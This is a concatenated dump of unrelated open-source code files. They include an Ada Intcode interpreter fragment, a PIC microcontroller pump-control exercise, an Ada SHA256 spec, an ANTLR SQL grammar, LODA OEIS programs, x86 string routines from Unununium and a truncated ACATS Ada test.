Peek(Memory.Address(V)), when Relative => Peek(Memory.Address(Relative_Base + V))); end Read; procedure Store( To: Memory.Address; Mode: Parameter_Mode; Value: Memory.Value) is V: constant Memory.Value := Peek(To); M: constant Memory.Address := (case Mode is when Position => Memory.Address(V), when Relative => Memory.Address(Relative_Base + V), when Immediate => raise Constraint_Error with "store to relative"); begin Poke(M, Value); end Store; begin loop declare Curr_Op: constant Schema := Decode(AM.Mem(PC)); Params: array (Curr_Op.Params'Range) of Memory.Value; Dst: constant Memory.Address := PC + Memory.Address(Params'Last); M: constant Parameter_Mode := Curr_Op.Params(Params'Last); Recv: Maybe_Memory_Value; begin for I in Params'Range loop Params(I) := Read( From => PC + Memory.Address(I), Mode => Curr_Op.Params(I)); end loop; PC := PC + Params'Length + 1; -- Ada.Text_IO.Put_Line(Curr_Op.Instruction'Image); case Curr_Op.Instruction is when Halt => exit; -- Arithmetic when Add => Store( To => Dst, Mode => M, Value => Params(1) + Params(2)); when Mul => Store( To => Dst, Mode => M, Value => Params(1) * Params(2)); -- I/O when Get => AM.Input.Get(Recv); if Recv.Present then Store(To => Dst, Mode => M, Value => Recv.Value); end if; when Put => AM.Output.Put(Params(1)); -- Transfer of Control when Jz => if Params(1) = 0 then PC := Memory.Address(Params(2)); end if; when Jnz => if Params(1) /= 0 then PC := Memory.Address(Params(2)); end if; -- Modify relative base when Mrb => Relative_Base := Relative_Base + Params(1); -- Comparison when Lt => Store( To => Dst, Mode => M, Value => (if Params(1) < Params(2) then 1 else 0)); when Eq => Store( To => Dst, Mode => M, Value => (if Params(1) = Params(2) then 1 else 0)); end case; end; end loop; AM.Input.Close; AM.Output.Close; end Executor; end Intcode;
UP1/UP/Q5.asm
rubemfsv/Digital-Control-Systems
0
16154
; Um sistema de medição de nível deve ser executado com um microcontrolador. A porta B funcionará ; como um leitor de um sensor de nível. Logo, esse sensor irá variar de 0 a 255. O sistema funciona ; de duas formas distintas, a depender do estado do pino 1 da porta A: ; Pino 1 da porta A em ALTO. Se o nível estiver abaixo do valor 20, uma saída no pino 0 da porta A ; deve ser acionada pra ligar uma bomba e encher o tanque. Se o nível passar de 190, a bomba deve ser desligada; ; Pino 1 da porta A em BAIXO. O sistema de bombeamento estará desligado. #INCLUDE<P16F84A.inc> TEMP EQU 0x2C MIN EQU 0x2D MAX EQU 0x2E ORG 0x00 GOTO INICIO INICIO CLRW CLRF PORTA CLRF PORTB BSF STATUS,RP0 MOVLW B'00000010' MOVWF TRISA MOVLW B'11111111' MOVWF TRISB BCF STATUS,RP0 GOTO MAIN MAIN BTFSC PORTA,1 GOTO PINO BCF PORTA,0 GOTO MAIN PINO MOVLW D'19' MOVWF TEMP MOVF PORTB,0 MOVWF MIN MOVWF MAX MOVF MIN,0 SUBWF TEMP,0 BTFSC STATUS,C GOTO PINO_ALTO GOTO PINO_BAIXO PINO_ALTO BCF STATUS,C BCF STATUS,Z BSF PORTA,0 GOTO MAIN PINO_BAIXO BCF STATUS,C BCF STATUS,Z MOVF D'191' MOVWF TEMP MOVF MAX,0 SUBWF TEMP,0 BTFSC STATUS,C GOTO MAIN BCF PORTA,0 GOTO MAIN END
modular_hashing-sha256.ads
annexi-strayline/ASAP-Modular_Hashing
0
8814
<filename>modular_hashing-sha256.ads ------------------------------------------------------------------------------ -- -- -- Modular Hash Infrastructure -- -- -- -- SHA2 (256) -- -- -- -- ------------------------------------------------------------------------ -- -- -- -- Copyright (C) 2019-2021, ANNEXI-STRAYLINE Trans-Human Ltd. -- -- All rights reserved. -- -- -- -- Original Contributors: -- -- * <NAME> (ANNEXI-STRAYLINE) -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions are -- -- met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in -- -- the documentation and/or other materials provided with the -- -- distribution. -- -- -- -- * Neither the name of the copyright holder nor the names of its -- -- contributors may be used to endorse or promote products derived -- -- from this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A -- -- PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -- -- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -- -- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -- -- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -- -- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -- -- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ with Interfaces; with Ada.Streams; package Modular_Hashing.SHA256 is type SHA256_Hash is new Hash with private; -- The final hash is a 256-bit message digest, which can also be displayed -- as a 64 character hex string and is 32 bytes long overriding function "<" (Left, Right : SHA256_Hash) return Boolean; overriding function ">" (Left, Right : SHA256_Hash) return Boolean; overriding function "=" (Left, Right : SHA256_Hash) return Boolean; SHA256_Hash_Bytes: constant := 32; overriding function Binary_Bytes (Value: SHA256_Hash) return Positive is (SHA256_Hash_Bytes); overriding function Binary (Value: SHA256_Hash) return Hash_Binary_Value with Post => Binary'Result'Length = SHA256_Hash_Bytes; type SHA256_Engine is new Hash_Algorithm with private; overriding procedure Write (Stream : in out SHA256_Engine; Item : in Ada.Streams.Stream_Element_Array); overriding procedure Reset (Engine : in out SHA256_Engine); overriding function Digest (Engine : in out SHA256_Engine) return Hash'Class; private use Ada.Streams, Interfaces; type Message_Digest is array (1 .. 8) of Unsigned_32; type SHA256_Hash is new Hash with record Digest: Message_Digest; end record; ------------------- -- SHA256_Engine -- ------------------- -- SHA-2 Defined initialization constants H0_Initial: constant := 16#6a09e667#; H1_Initial: constant := 16#bb67ae85#; H2_Initial: constant := 16#3c6ef372#; H3_Initial: constant := 16#a54ff53a#; H4_Initial: constant := 16#510e527f#; H5_Initial: constant := 16#9b05688c#; H6_Initial: constant := 16#1f83d9ab#; H7_Initial: constant := 16#5be0cd19#; type K_Arr is array (1 .. 64) of Unsigned_32; K : constant K_Arr := (16#428a2f98#, 16#71374491#, 16#b5c0fbcf#, 16#e9b5dba5#, 16#3956c25b#, 16#59f111f1#, 16#923f82a4#, 16#ab1c5ed5#, 16#d807aa98#, 16#12835b01#, 16#243185be#, 16#550c7dc3#, 16#72be5d74#, 16#80deb1fe#, 16#9bdc06a7#, 16#c19bf174#, 16#e49b69c1#, 16#efbe4786#, 16#0fc19dc6#, 16#240ca1cc#, 16#2de92c6f#, 16#4a7484aa#, 16#5cb0a9dc#, 16#76f988da#, 16#983e5152#, 16#a831c66d#, 16#b00327c8#, 16#bf597fc7#, 16#c6e00bf3#, 16#d5a79147#, 16#06ca6351#, 16#14292967#, 16#27b70a85#, 16#2e1b2138#, 16#4d2c6dfc#, 16#53380d13#, 16#650a7354#, 16#766a0abb#, 16#81c2c92e#, 16#92722c85#, 16#a2bfe8a1#, 16#a81a664b#, 16#c24b8b70#, 16#c76c51a3#, 16#d192e819#, 16#d6990624#, 16#f40e3585#, 16#106aa070#, 16#19a4c116#, 16#1e376c08#, 16#2748774c#, 16#34b0bcb5#, 16#391c0cb3#, 16#4ed8aa4a#, 16#5b9cca4f#, 16#682e6ff3#, 16#748f82ee#, 16#78a5636f#, 16#84c87814#, 16#8cc70208#, 16#90befffa#, 16#a4506ceb#, 16#bef9a3f7#, 16#c67178f2#); type SHA256_Engine is new Hash_Algorithm with record Last_Element_Index : Stream_Element_Offset := 0; Buffer : Stream_Element_Array(1 .. 64); Message_Length : Unsigned_64 := 0; H0 : Unsigned_32 := H0_Initial; H1 : Unsigned_32 := H1_Initial; H2 : Unsigned_32 := H2_Initial; H3 : Unsigned_32 := H3_Initial; H4 : Unsigned_32 := H4_Initial; H5 : Unsigned_32 := H5_Initial; H6 : Unsigned_32 := H6_Initial; H7 : Unsigned_32 := H7_Initial; end record; end Modular_Hashing.SHA256;
streamingpro-dsl/src/main/resources/DSLSQL.g4
sdjok/MLSQL
0
7399
grammar DSLSQL; @header { package streaming.dsl.parser; } //load jdbc.`mysql1.tb_v_user` as mysql_tb_user; //save csv_input_result as json.`/tmp/todd/result_json` partitionBy uid; statement : (sql ender)* ; sql : ('load'|'LOAD') format '.' path ('options'|'where')? expression? booleanExpression* 'as' tableName | ('save'|'SAVE') (overwrite | append | errorIfExists |ignore)* tableName 'as' format '.' path ('options'|'where')? expression? booleanExpression* (('partitionBy'|'partitionby') col)? | ('select'|'SELECT') ~(';')* 'as' tableName | ('insert'|'INSERT') ~(';')* | ('create'|'CREATE') ~(';')* | ('drop'|'DROP') ~(';')* | ('refresh'|'REFRESH') ~(';')* | ('set'|'SET') setKey '=' setValue ('options'|'where')? expression? booleanExpression* | ('connect'|'CONNECT') format ('options'|'where')? expression? booleanExpression* ('as' db)? | ('train'|'TRAIN'|'run'|'RUN') tableName 'as' format '.' path ('options'|'where')? expression? booleanExpression* | ('register'|'REGISTER') format '.' path 'as' functionName ('options'|'where')? expression? booleanExpression* | ('unRegister'|'UNREGISTER'|'unregister') format '.' path ('options'|'where')? expression? booleanExpression* | ('include'|'INCLUDE') format '.' path ('options'|'where')? expression? booleanExpression* | SIMPLE_COMMENT ; overwrite : 'overwrite' ; append : 'append' ; errorIfExists : 'errorIfExists' ; ignore : 'ignore' ; booleanExpression : 'and' expression ; expression : identifier '=' STRING ; ender :';' ; format : identifier ; path : quotedIdentifier | identifier ; setValue : qualifiedName | quotedIdentifier | STRING | BLOCK_STRING ; setKey : qualifiedName ; db :qualifiedName | identifier ; tableName : identifier ; functionName : identifier ; col : identifier ; qualifiedName : identifier ('.' identifier)* ; identifier : strictIdentifier ; strictIdentifier : IDENTIFIER | quotedIdentifier ; quotedIdentifier : BACKQUOTED_IDENTIFIER ; STRING : '\'' ( ~('\''|'\\') | ('\\' .) )* '\'' | '"' ( ~('"'|'\\') | ('\\' .) )* '"' ; BLOCK_STRING : '\'\'\'' ~[+] .*? '\'\'\'' ; IDENTIFIER : (LETTER | DIGIT | '_')+ ; BACKQUOTED_IDENTIFIER : '`' ( ~'`' | '``' )* '`' ; fragment DIGIT : [0-9] ; fragment LETTER : [a-zA-Z] ; SIMPLE_COMMENT : '--' ~[\r\n]* '\r'? '\n'? -> channel(HIDDEN) ; BRACKETED_EMPTY_COMMENT : '/**/' -> channel(HIDDEN) ; BRACKETED_COMMENT : '/*' ~[+] .*? '*/' -> channel(HIDDEN) ; WS : [ \r\n\t]+ -> channel(HIDDEN) ; // Catch-all for anything we can't recognize. // We use this to be able to ignore and recover all the text // when splitting statements with DelimiterLexer UNRECOGNIZED : . ;
programs/oeis/142/A142245.asm
jmorken/loda
1
101805
; A142245: Expansion of 2*x*(6 + 5*x) / ((1 - x)*(1 - x - x^2)). ; 0,12,34,68,124,214,360,596,978,1596,2596,4214,6832,11068,17922,29012,46956,75990,122968,198980,321970,520972,842964,1363958,2206944,3570924,5777890,9348836,15126748,24475606,39602376,64078004,103680402,167758428,271438852,439197302,710636176,1149833500,1860469698,3010303220,4870772940,7881076182,12751849144,20632925348,33384774514,54017699884,87402474420,141420174326,228822648768,370242823116,599065471906,969308295044,1568373766972,2537682062038,4106055829032,6643737891092,10749793720146,17393531611260,28143325331428,45536856942710,73680182274160,119217039216892,192897221491074,312114260707988,505011482199084,817125742907094,1322137225106200,2139262968013316,3461400193119538,5600663161132876,9062063354252436 add $0,3 mov $1,1 mov $2,4 lpb $0 sub $0,1 mov $3,$2 mov $2,$1 add $1,$3 lpe sub $1,11 mul $1,2
programs/oeis/299/A299290.asm
neoneye/loda
22
103474
; A299290: Partial sums of A299289. ; 1,9,37,97,203,367,603,923,1341,1869,2521,3309,4247,5347,6623,8087,9753,11633,13741,16089,18691,21559,24707,28147,31893,35957,40353,45093,50191,55659,61511,67759,74417,81497,89013,96977,105403,114303,123691 mov $1,$0 lpb $1 mov $2,$1 sub $1,1 seq $2,227541 ; a(n) = floor(13*n^2/4). add $0,$2 lpe mul $0,2 add $0,1
dimension/cell/lib/string/common/common.asm
ekscrypto/Unununium
7
13408
<gh_stars>1-10 ;; $Header: /cvsroot/uuu/dimension/cell/lib/string/common/common.asm,v 1.5 2002/08/11 07:41:24 lukas2000 Exp $ ;; ;; Common string functions cell -- provides incredibly common string functions ;; Copyright (C) 2001 <NAME> ;; Distributed under the BSD license; see file "license" for details. ;; ;; The code in this cell comes from many, many authors, I just created it :P ; ----------------------------------- ; section .c_init ;============================================================================== section .c_init global _start _start: ; We do nothing here ; added by Luke retn section .text globalfunc lib.string.ascii_hex_to_reg ;------------------------------------------------------------------------------ ;> ;; converts an ascii string in hex into a number in a register. Reads until a ;; non-number char is found. This function does not take care of any leading ;; "0x" or trailing "h" or anything of that sort. Valid chars are [0-9A-Fa-f]; ;; there is no overflow protection. ;; ;; parameters: ;; ----------- ;; ESI = ptr to string ;; ;; returned values: ;; ---------------- ;; EDX = number ;; EAX = destroyed ;; ECX = number of bytes read ;; registers as usual ;< xor edx, edx xor ecx, ecx movzx eax, byte[esi+ecx] cmp al, "0" jl .retn sub eax, byte 0x30 cmp al, "9"-"0" jle .add_char cmp al, "A"-0x30 jl .retn sub eax, byte 0x7 cmp al, "F"-0x37 jle .add_char cmp al, "a"-0x37 jl .retn sub eax, byte 0x20 cmp al, "f"-0x57 jnle .retn .add_char: shl edx, 4 add edx, eax inc ecx movzx eax, byte[esi+ecx] cmp al, "0" jl .retn sub eax, byte 0x30 cmp al, "9"-"0" jle .add_char cmp al, "A"-0x30 jl .retn sub eax, byte 0x7 cmp al, "F"-0x37 jle .add_char cmp al, "a"-0x37 jl .retn sub eax, byte 0x20 cmp al, "f"-0x57 jle .add_char .retn: retn ;------------------------------------------------------------------------------ globalfunc lib.string.ascii_decimal_to_reg ;------------------------------------------------------------------------------ ;> ;; converts a string into a number in a register. Reads until a non-number ;; char is found. There is no overflow protection. ;; ;; parameters: ;; ----------- ;; ESI = ptr to string ;; ;; returned values: ;; ---------------- ;; EDX = number ;; EAX = destroyed ;; ECX = number of bytes read ;; registers as usual ;< xor edx, edx xor ecx, ecx movzx eax, byte[esi+ecx] cmp al, "0" jl .retn cmp al, "9" ja .retn .add_char: sub eax, byte "0" add edx, edx lea edx, [edx*5] add edx, eax inc ecx movzx eax, byte[esi+ecx] cmp al, "0" jl .retn cmp al, "9" jna .add_char .retn: retn ;------------------------------------------------------------------------------ globalfunc lib.string.find_length_dword_aligned ;------------------------------------------------------------------------------ ;> ;; parameters: ;; ----------- ;; ESI = pointer to single null-terminated string ;; ;; returned values: ;; ---------------- ;; ECX = string length ;; all other registers = unmodified ;< xor ecx, ecx push eax push esi .searching_null_terminator: mov eax, [esi] add eax, dword 0xFEFEFEFF jnc short .zero_detected mov eax, [byte esi + 4] add ecx, byte 4 add eax, dword 0xFEFEFEFF jnc short .zero_detected mov eax, [byte esi + 8] add ecx, byte 4 add eax, dword 0xFEFEFEFF jnc short .zero_detected mov eax, [byte esi + 12] add ecx, byte 4 add eax, dword 0xFEFEFEFF jnc short .zero_detected add ecx, byte 4 add esi, byte 16 jmp short .searching_null_terminator .zero_detected: sub eax, 0xFEFEFEFF jz short .length_found inc ecx or ah, ah jz short .length_found shr eax, 16 inc ecx or al, al jz short .length_found inc ecx .length_found: pop esi pop eax retn ;------------------------------------------------------------------------------ globalfunc lib.string.find_length ;------------------------------------------------------------------------------ ;> ;; parameters: ;; ----------- ;; ESI = pointer to single null-terminated string ;; ;; returned values: ;; ---------------- ;; ECX = string length ;; all other registers = unmodified ;< push eax push ebx xor ecx, ecx .processing: mov eax, [esi + ecx] mov ebx, [esi + ecx + 4] test al, al jz short .string_plus_0 test ah, ah jz short .string_plus_1 test eax, 0x00FF0000 jz short .string_plus_2 test eax, 0xFF000000 jz short .string_plus_3 test bl, bl jz short .string_plus_4 test bh, bh jz short .string_plus_5 test ebx, 0x00FF0000 jz short .string_plus_6 test ebx, 0xFF000000 jz short .string_plus_7 add ecx, byte 8 jmp short .processing .string_plus_4: add ecx, byte 4 pop ebx pop eax retn .string_plus_3: add ecx, byte 3 pop ebx pop eax retn .string_plus_2: inc ecx .string_plus_1: inc ecx .string_plus_0: pop ebx pop eax retn .string_plus_5: add ecx, byte 5 pop ebx pop eax retn .string_plus_6: add ecx, byte 6 pop ebx pop eax retn .string_plus_7: add ecx, byte 7 pop ebx pop eax retn ;------------------------------------------------------------------------------ globalfunc lib.string.read_line ;------------------------------------------------------------------------------ ;> ;; Reads a line (terminated with 0xa) from a file into an already allocated ;; buffer. No null is put on the end of the string; the 0xa is also put into ;; the buffer. ;; ;; This particular read_line flavor checks for backspaces and backs up in the ;; buffer if it finds one. ;; ;; parameters: ;; ----------- ;; EBX = file to read from ;; ECX = max buffer size; if this many bytes are read with no 0xa found, the ;; call returns. ;; EDI = ptr to buffer to read to ;; ;; returned values: ;; ---------------- ;; ECX = number of bytes read ;; registers and errors as usual ;< push ebp push edx push esi push edi mov ebp, [ebx+file_descriptor.op_table] mov edx, ecx xor ecx, ecx xor esi, esi ; esi will track how many bytes we have read inc ecx ;; EDX = ECX from call ;; ESI = 0 ;; ECX = 1 ;; EBX = file pointer ;; EBP = op table .get_char: call [ebp+file_op_table.read] jc .retn mov al, [edi] cmp al, 0x8 je .bs call lib.string.print_char ; echo to display inc edi inc esi cmp esi, edx je .retn cmp al, 0xa jne .get_char .retn: mov ecx, esi pop edi pop esi pop edx pop ebp retn .bs: test esi, esi jz .get_char ; don't backspace further than the beginning of the buf dec esi dec edi call lib.string.print_char jmp short .get_char ;------------------------------------------------------------------------------ globalfunc lib.string.get_char ;------------------------------------------------------------------------------ ;> ;; reads a single byte from a file. Note that it's much more efficient to read ;; multiple bytes at a time, if possible. ;; ;; parameters: ;; ----------- ;; EBX = ptr to file descriptor of file to print to ;; ;; returned values: ;; ---------------- ;; AL = byte read ;; errors and registers as usual ;< push edi push ecx push byte 0 xor ecx, ecx mov edi, esp inc ecx mov ebp, [ebx+file_descriptor.op_table] ; EBP NOT NEEDED ; ANYMORE IN PARAMS call [ebp+file_op_table.read] pop eax pop ecx pop edi retn ;------------------------------------------------------------------------------ globalfunc lib.string.print_char ;------------------------------------------------------------------------------ ;> ;; prints a single byte to a file. Note that if you have many bytes to print ;; it's much more efficient to print them at once. ;; ;; parameters: ;; ----------- ;; AL = byte to print ;; EBX = ptr to file descriptor of file to print to ;; ;; returned values: ;; ---------------- ;; registers and errors as usual ;< push esi push ecx push eax xor ecx, ecx mov esi, esp inc ecx mov ebp, [ebx+file_descriptor.op_table] ;EBP NOT NEEDED ANYMORE call [ebp+file_op_table.write] pop eax pop ecx pop esi retn ;------------------------------------------------------------------------------ globalfunc lib.string.print_dec_no_pad ;------------------------------------------------------------------------------ ;> ;; Prints EDX to a file as a decimal number with no leading zeros. ;; ;; parameters: ;; ----------- ;; EDX = number to print ;; EBX = file to print to ;; ;; returned values: ;; ---------------- ;; registers and errors as usual ;< push edi push esi push ecx sub esp, byte 10 mov edi, esp call lib.string.dword_to_decimal_no_pad mov esi, edi mov ebp, [ebx+file_descriptor.op_table] ;EBP NOT NEEDED ANYMORE call [ebp+file_op_table.write] jc .error add esp, byte 10 pop ecx pop esi pop edi retn .error: add esp, byte 10 pop ecx pop esi pop edi stc retn ;------------------------------------------------------------------------------ globalfunc lib.string.print_hex ;------------------------------------------------------------------------------ ;> ;; prints EDX as an 8 digit number in hex to a file ;; ;; parameters: ;; ----------- ;; EDX = number to print ;; EBX = file to print to ;; ;; returned values: ;; ---------------- ;; registers and errors as usual ;< push edi push esi push ecx mov ecx, 8 sub esp, ecx mov edi, esp call lib.string.dword_to_hex jc .error mov esi, edi mov ebp, [ebx+file_descriptor.op_table] ;EBP NOT NEEDED ANYMORE call [ebp+file_op_table.write] add esp, ecx pop ecx pop esi pop edi retn .error: add esp, ecx pop ecx pop esi pop edi stc retn ;------------------------------------------------------------------------------ globalfunc lib.string.dword_to_hex ;------------------------------------------------------------------------------ ;> ;; converts EDX to an ascii string in hex, using uppercase letters, padded to ;; a specified number of digits with zeros. No null is put in the string, just ;; the ascii chars. ;; ;; parameters: ;; ----------- ;; EDX = number to convert ;; EDI = ptr to buffer to put string in (ECX bytes needed) ;; ECX = number of chars to convert (2 converts DL, 4 DX, 8 EDX, etc.) ;; ;; returned values: ;; ---------------- ;; AL = last digit converted, in ascii ;; registers as usual ;< push ecx shl ecx, 2 ror edx, cl shr ecx, 2 add edi, ecx neg ecx .loop: rol edx, 4 mov al, dl and al, 0x0f cmp al, 0x0a sbb al, 0x69 das mov [edi+ecx], al inc ecx jnz .loop pop ecx sub edi, ecx retn ;------------------------------------------------------------------------------ globalfunc lib.string.dword_to_decimal_no_pad ;------------------------------------------------------------------------------ ;> ;; converts EDX to an ascii string supressing leading zeros. ;; ;; based on example code in the AMD Athlon optimization manual ;; ;; parameters: ;; ----------- ;; EDX = number to convert ;; EDI = ptr to buffer (max of 10 bytes needed) ;; ;; returned values: ;; ---------------- ;; ECX = number of bytes used ;; registers as usual ;< pushad mov eax, edx mov ecx, edx mov edx, 0x89705f41 mul edx add eax, eax adc edx, byte 0 shr edx, 29 mov eax, edx mov ebx, edx imul eax, 1000000000 sub ecx, eax or dl, '0' mov [edi], dl cmp ebx, byte 1 sbb edi, byte -1 mov eax, ecx mov edx, 0xabcc7712 mul edx shr eax, 30 lea edx, [eax+4*edx+1] mov eax, edx shr eax, 28 and edx, 0xfffffff or ebx, eax or eax, '0' mov [edi], al lea eax, [edx*5] lea edx, [edx*5] cmp ebx, byte 1 sbb edi, byte -1 shr eax, 27 and edx, 0x7ffffff or ebx, eax or eax, '0' mov [edi], al lea eax, [edx*5] lea edx, [edx*5] cmp ebx, byte 1 sbb edi, byte -1 shr eax, 26 and edx, 0x3ffffff or ebx, eax or eax, '0' mov [edi], al lea eax, [edx*5] lea edx, [edx*5] cmp ebx, byte 1 sbb edi, byte -1 shr eax, 25 and edx, 0x1ffffff or ebx, eax or eax, '0' mov [edi], al lea eax, [edx*5] lea edx, [edx*5] cmp ebx, byte 1 sbb edi, byte -1 shr eax, 24 and edx, 0xffffff or ebx, eax or eax, '0' mov [edi], al lea eax, [edx*5] lea edx, [edx*5] cmp ebx, byte 1 sbb edi, byte -1 shr eax, 23 and edx, 0x7fffff or ebx, eax or eax, '0' mov [edi], al lea eax, [edx*5] lea edx, [edx*5] cmp ebx, byte 1 sbb edi, byte -1 shr eax, 22 and edx, 0x3fffff or ebx, eax or eax, '0' mov [edi], al lea eax, [edx*5] lea edx, [edx*5] cmp ebx, byte 1 sbb edi, byte -1 shr eax, 21 and edx, 0x1fffff or ebx, eax or eax, '0' mov [edi], al lea eax, [edx*5] cmp ebx, byte 1 sbb edi, byte -1 shr eax, 20 or eax, '0' mov [edi], al sub edi, [esp] inc edi mov [esp+24], edi popad mov esi, edi retn ;------------------------------------------------------------------------------ globalfunc lib.string.match_pattern ;------------------------------------------------------------------------------ ;> ;; Compare if a given string matches the given pattern. The pattern may contain ;; the following wildcards: ;; * match any number of chars ;; ? match any single character ;; ;; UTF-8 string/pattern supported. ;; ;; parameters: ;;------------ ;; ESI = pointer to string to check ;; EDI = pointer to pattern "*?a*txt" etc.. ;; ;; returns: ;; -------- ;; ecx result (0 = failed, 1 = match found) ;; ;; Copyright (C) 2002, <NAME> ;; Distributed under the X11 License. ;< ;------------------------------------------------------------------------------ xor ecx, ecx ; set return code to failed by default pushad ; backup all regs mov ebp, esp ; mark entry TOS mov cl, '*' ; mov ah, '?' ; ; ; while string char != 0 .checking: ;----------------------- cmp [esi], byte ch ; char is = 0? jz short .end ; if so, mainloop done ; ; check for wildcard "*" ;----------------------- cmp [edi], byte cl ; pattern to match is wildcard *? jnz short .regcomp ; if not, match a single char ; ; catch multiple successive "*" .catch_wc: ;------------------------------ inc edi ; move to next char of pattern cmp [edi], byte cl ; is it another "*" ? jz short .catch_wc ; if so, we got one, continue ; ; check if pattern end with "*" ;------------------------------ cmp [edi], byte ch ; end of pattern reached? jz short .success ; yip, we got a match ; ; find first matching char after "*" ;----------------------------------- cmp [edi], byte ah ; a "?" right after a "*" ? jz short .wildcard_char_matched ; if so match the char without checking .wc_match: ; lodsb ; load char and move to the next cmp al, ch ; check if it's end of string jz .exit ; if it is, fail cmp [edi], byte al ; compare with pattern char searched jnz short .wc_match ; in case they don't match, continue dec esi ; found, adjust to right string char ; .wildcard_char_matched: ; push esi ; save current string char position push edi ; save position of last wildcard + 1 ; .regcomp: ; Check for a character match ;---------------------------- mov al, [edi] ; load pattern char cmp [esi], byte al ; compare with string char jz short .char_matched ; couldn't match, go back to wildchar cmp al, ah ; check if pattern char is "?" jnz short .wildcard_fallback ; in case it is, single char matched ; .char_matched_any: ; pattern is '?', go to next UTF-8 char cmp [esi], byte 0x80 ; was it a compound char? inc esi ; attempt a move foward (CF is kept OK) jnb short .char_matched_any ; if so, attempt another move foward dec esi ; end of char reached, adjusting ptr ; .char_matched: ; chars matched ;-------------- inc esi ; select next string char inc edi ; select next pattern char jmp short .checking ; continue searching for a match ; ; .wildcard_fallback: ; try to get back to last wildchar "*" ;------------------------------------- cmp ebp, esp ; any "*" left in store? jz short .exit ; nope, pattern not matching ; ; get back to last "*" found ;--------------------------- pop edi ; restore ptr to pattern char pop esi ; restore ptr to string char inc esi ; prevent infinite loop, one char match dec edi ; adjust pattern ptr to "*" jmp short .checking ; continue checking ; .end: ; end of string found ;-------------------- xchg eax, ecx ; get "*" in al repz scasb ; find first non-matching char cmp [edi - 1], ah ; non-matching char is end of string? jnz short .exit ; if not, failed to match ; .success: ; match found, return 1 ;---------------------- inc byte [ebp + 24] ; set return value to 1 ; .exit: ; restore original parameters and quit ;------------------------------------- mov esp, ebp ; restore TOS like it was at the start popad ; restore all regs retn ; return to caller ;------------------------------------------------------[88 bytes]-------------- ;------------------------------------------------------------------------------ section .c_info ;============================================================================== db 0, 0, 1, 'a' dd str_cellname dd str_author dd str_copyrights str_cellname: dd "common string functions" str_author: dd 'various authors' str_copyrights: dd 'Copyright 2001 by <NAME>; distributed under the BSD license' ;==============================================================================
oeis/225/A225948.asm
neoneye/loda-programs
11
166894
<gh_stars>10-100 ; A225948: a(0) = -1; for n>0, a(n) = numerator(1/4 - 4/n^2). ; Submitted by <NAME> ; -1,-15,-3,-7,0,9,5,33,3,65,21,105,2,153,45,209,15,273,77,345,6,425,117,513,35,609,165,713,12,825,221,945,63,1073,285,1209,20,1353,357,1505,99,1665,437,1833,30,2009,525,2193,143,2385,621,2585,42,2793,725,3009,195,3233,837,3465,56,3705,957,3953,255,4209,1085,4473,72,4745,1221,5025,323,5313,1365,5609,90,5913,1517,6225,399,6545,1677,6873,110,7209,1845,7553,483,7905,2021,8265,132,8633,2205,9009,575,9393,2397,9785 pow $0,2 sub $0,16 dif $0,16 dif $0,4
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/ce/ce3707a.ada
best08618/asylo
7
26198
-- CE3707A.ADA -- Grant of Unlimited Rights -- -- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687, -- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained -- unlimited rights in the software and documentation contained herein. -- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making -- this public release, the Government intends to confer upon all -- recipients unlimited rights equal to those held by the Government. -- These rights include rights to use, duplicate, release or disclose the -- released technical data and computer software in whole or in part, in -- any manner and for any purpose whatsoever, and to have or permit others -- to do so. -- -- DISCLAIMER -- -- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR -- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED -- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE -- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE -- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A -- PARTICULAR PURPOSE OF SAID MATERIAL. --* -- OBJECTIVE: -- CHECK THAT INTEGER_IO GET CAN READ A VALUE FROM A STRING. CHECK -- THAT IT TREATS THE END OF THE STRING AS A FILE TERMINATOR. CHECK -- THAT LAST CONTAINS THE INDEX VALUE OF THE LAST CHARACTER READ -- FROM THE STRING. -- HISTORY: -- SPS 10/05/82 -- VKG 01/13/83 -- JLH 09/11/87 CORRECTED EXCEPTION HANDLING. WITH REPORT; USE REPORT; WITH TEXT_IO; USE TEXT_IO; PROCEDURE CE3707A IS PACKAGE IIO IS NEW INTEGER_IO (INTEGER); USE IIO; X : INTEGER; L : POSITIVE; STR : STRING(1..6) := "123456" ; BEGIN TEST ("CE3707A", "CHECK THAT INTEGER_IO GET OPERATES CORRECTLY " & "ON STRINGS"); -- LEFT JUSTIFIED STRING NON NULL GET ("2362 ", X, L); IF X /= 2362 THEN FAILED ("VALUE FROM STRING INCORRECT - 1"); END IF; IF L /= 4 THEN FAILED ("VALUE OF LAST INCORRECT - 1"); END IF; -- STRING LITERAL WITH BLANKS BEGIN GET (" ", X, L); FAILED ("END_ERROR NOT RAISED - 2"); EXCEPTION WHEN END_ERROR => 